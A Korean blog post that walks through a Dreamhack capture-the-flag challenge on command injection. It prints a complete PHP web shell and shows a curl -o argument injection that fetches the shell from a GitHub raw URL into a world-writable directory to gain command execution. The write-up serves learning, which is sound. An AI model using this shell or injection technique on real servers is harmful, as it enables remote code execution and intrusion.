Iriton's log
[Dreamhack] Lv.1 Command Injection Advanced 본문
해당 웹 페이지는 http가 포함된 url의 데이터를 불러와서 출력한다.
소스코드를 살펴 보면 11번째 줄에서 http가 포함되었는지 확인을 한다.
포함되지 않았다면 문자를 띄우며 실행되지 않지만,
포함되었다면 shell_exec 함수를 이용하여 curl 명령어를 실행한다.
escapeshellcmd()란?
임의의 명령을 실행하기 위해 쉘 명령을 속일 때 쓰이는 문자열의 모든 문자를 escape 시킨다.
&#;`|*?~<>^()[]{}$\, \x0A 및 \xFF.
해당 문자 앞에 백슬래시를 넣어서 실행되지 않게 하는 것이다.
curl란?
URL 요청에 대한 응답을 출력하는 게 기본값.
Option
-o : 응답을 임의의 파일에 저장
등등
escape 함수에서는 하이픈(-)을 필터링하지 않을 뿐더러,
curl -o 명령어를 통해 flag의 데이터를 임의의 파일에 저장할 수 있다.
flag 파일을 다른 파일에 저장해야 하나? 싶었지만
구글링 한 결과 웹쉘 즉, 웹에서 쉘 코드를 실행할 수 있는 코드가 존재했다.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
해당 코드를 자기 깃허브에 올리면 된다.
레포지토리를 만들어서 php 파일을 올리고 raw 버튼을 누르면 코드만 있는 경로가 보인다.
해당 경로를 이용하여 dreamhack 문제 페이지에 업로드하면
문제 페이지 내에서 웹쉘을 실행할 수 있고,
해당 페이지가 관할하는 경로는 마음대로 실행할 수 있게 된다.
[raw 경로] -o /var/www/html/cache/[원하는 이름].php
로 업로드 해준다.
여기서 /var/www/html은 기본 경로라 꼭 기재해야 하고
굳이 cache에 웹쉘을 업로드 한 이유는 cache의 권한이 777으로 모든 권한을 주어졌기 때문이다.
따라서 웹쉘 파일을 write 가능한 것이다.
업로드 해 주면 경로가 뜨는데, 저걸 클릭하지 말고 직접 /cache/[생성한파일명]으로 접근하자.
그럼 위와 같이 쉘 명령어를 실행할 수 있는 칸이 뜬다.
ls로 현재 경로 상태를 보면 아무것도 없으니 cache가 아닌, ls / 으로 홈에 뭐가 있나 봤다.
flag가 있었다.
실행파일인지, 내가 실행할 수 있는 건지 확인하기 위해 -l 옵션을 추가해 줬다.
모든 사용자가 실행할 수 있다.
/ 경로에 있는 실행파일이기에 /flag 명령어를 입력하여서 실행했더니 flag가 출력됐다.
'WebHacking > WarGame' 카테고리의 다른 글
[Dreamhack] Beginner: Flying Chars (0) | 2024.05.01 |
---|---|
[Dreamhack] Beginner: php7cmp4re (0) | 2024.05.01 |
[webhacking.kr] old-44 : command injection (1) | 2023.11.21 |
[Dreamhack] Lv.1 command-injection-chatgpt (0) | 2023.11.15 |
[Dreamhack] Lv.1 csrf - 1 (0) | 2023.11.14 |